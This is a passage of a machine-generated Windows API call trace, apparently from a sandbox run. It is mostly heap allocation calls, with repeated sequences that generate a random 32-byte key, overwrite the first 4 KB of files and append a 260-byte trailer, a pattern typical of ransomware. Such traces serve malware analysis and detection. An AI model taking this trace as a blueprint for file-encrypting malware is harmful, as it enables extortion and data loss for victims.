() returned 0x540000 [0087.245] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.245] GetProcessHeap () returned 0x540000 [0087.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.245] GetProcessHeap () returned 0x540000 [0087.245] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.245] GetProcessHeap () returned 0x540000 [0087.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.245] GetProcessHeap () returned 0x540000 [0087.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.246] GetProcessHeap () returned 0x540000 [0087.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.247] GetProcessHeap () returned 0x540000 [0087.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.248] GetProcessHeap () returned 0x540000 [0087.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.249] GetProcessHeap () returned 0x540000 [0087.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.249] GetProcessHeap () returned 0x540000 [0087.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.250] GetProcessHeap () returned 0x540000 [0087.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.250] GetProcessHeap () returned 0x540000 [0087.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.251] GetProcessHeap () returned 0x540000 [0087.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.252] GetProcessHeap () returned 0x540000 [0087.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.252] GetProcessHeap () returned 0x540000 [0087.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.252] SetFilePointerEx (in: hFile=0x974, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.252] WriteFile (in: hFile=0x974, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.252] WriteFile (in: hFile=0x974, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.252] GetProcessHeap () returned 0x540000 [0087.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.252] GetProcessHeap () returned 0x540000 [0087.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.252] GetProcessHeap () returned 0x540000 [0087.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.252] CloseHandle (hObject=0x974) returned 1 [0087.253] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 127 [0087.253] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.253] ReadFile (in: hFile=0x978, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.253] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.253] GetProcessHeap () returned 0x540000 [0087.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.253] GetProcessHeap () returned 0x540000 [0087.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.254] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.254] GetProcessHeap () returned 0x540000 [0087.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.254] ReadFile (in: hFile=0x978, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.308] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.308] WriteFile (in: hFile=0x978, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.308] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.309] GetProcessHeap () returned 0x540000 [0087.309] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.310] GetProcessHeap () returned 0x540000 [0087.310] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.311] GetProcessHeap () returned 0x540000 [0087.311] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.312] GetProcessHeap () returned 0x540000 [0087.312] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.312] GetProcessHeap () returned 0x540000 [0087.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.313] SetFilePointerEx (in: hFile=0x978, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.313] WriteFile (in: hFile=0x978, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.313] WriteFile (in: hFile=0x978, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.313] GetProcessHeap () returned 0x540000 [0087.313] 